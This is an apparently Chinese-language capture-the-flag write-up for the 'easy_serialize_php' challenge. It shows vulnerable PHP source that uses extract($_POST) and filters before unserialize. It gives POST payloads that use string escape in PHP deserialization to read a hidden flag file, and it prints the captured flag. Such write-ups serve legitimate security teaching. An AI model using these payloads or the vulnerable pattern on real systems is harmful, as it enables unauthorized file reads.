easy_serialize_php
考察:php代码审计,php序列化
打开页面,打开view-source,可以看到源代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
# 若已经拥有SESSION,则把SESSION删除
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
# 将全局变量$_POST解开,相当于得到$user='guest',$function=$function
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据代码,访问
http://220.249.52.134:58008/index.php?f=phpinfo
可以php的配置信息,并得到flag的可能地址
d0g3_f1ag.php
那么按照常理,现在就应该是在URL上提交(GET方式)或POST数据提交,查看相关文件的操作了
注意,此处有一个关键要点是通过post方式提交_SESSION,修改_SESSION中的参数,来实现查看文件
根据代码
echo file_get_contents(base64_decode($userinfo['img']));
所以要把d0g3_f1ag.php在base64_encode后,填充入userinfo的img下标中
而userinfo又是由这一句得到
$userinfo = unserialize($serialize_info);
serialize_info由$SESSION得到
$serialize_info = filter(serialize($_SESSION));
而SESSION会经过filter,且其中的img标签会被修改
f(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
根据wp,使用php序列化的逃逸,构成下列payload(下面有解析)
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}
得到flag
cyberpeace{cb08b7952dfbcf0ed90a8d07db20e139}
php反序列化逃逸原理
首先序列化格式
array(2) {
[0]=> string(8) "Hed9eh0g"
[1]=> string(5) "aaaaa"
}
序列化后会得到
'a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
其次,序列化有一种特点,若在序列化过程中,有一些字符被过滤替换为空,会尝试向后读取相同位数字符。如下flag被过滤的情况
a:3:{
s:4:"user";
s:24:"flagflagflagflagflagflag";
s:8:"function";
s:59:"a";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";
s:2:"dd";
s:1:"a";}";
s:3:"img";
s:20:"L2QwZzNfZmxsbGxsbGFn";}
a:3:{
s:4:"user";
s:24:"";
s:8:"function";
s:59:"a";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";
s:2:"dd";
s:1:"a";}";
s:3:"img";
s:20:"L2QwZzNfZmxsbGxsbGFn";}
因此,可以构造序列化字符串,绕过相关过滤
本题中逃逸的解析
未过滤前
_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化后
a:2:{
s:8:"flagflag";
s:58:"
";s:3:"aaa";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";}
";
s:3:"img";
s:20:"Z3Vlc3RfaW1nLnBuZw==";
}
过滤后
a:2:{
s:8:"";
s:58:"
";s:3:"aaa";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";}
";
s:3:"img";
s:20:"Z3Vlc3RfaW1nLnBuZw==";}
反序列化填充后,再序列化时
a:2:{
s:8:"s:58:"";"; // 字符串里的东西随便填
s:3:"aaa";
s:3:"img";
s:20:"ZDBnM19mMWFnLnBocA==";}
";
s:3:"img";
s:20:"Z3Vlc3RfaW1nLnBuZw==";}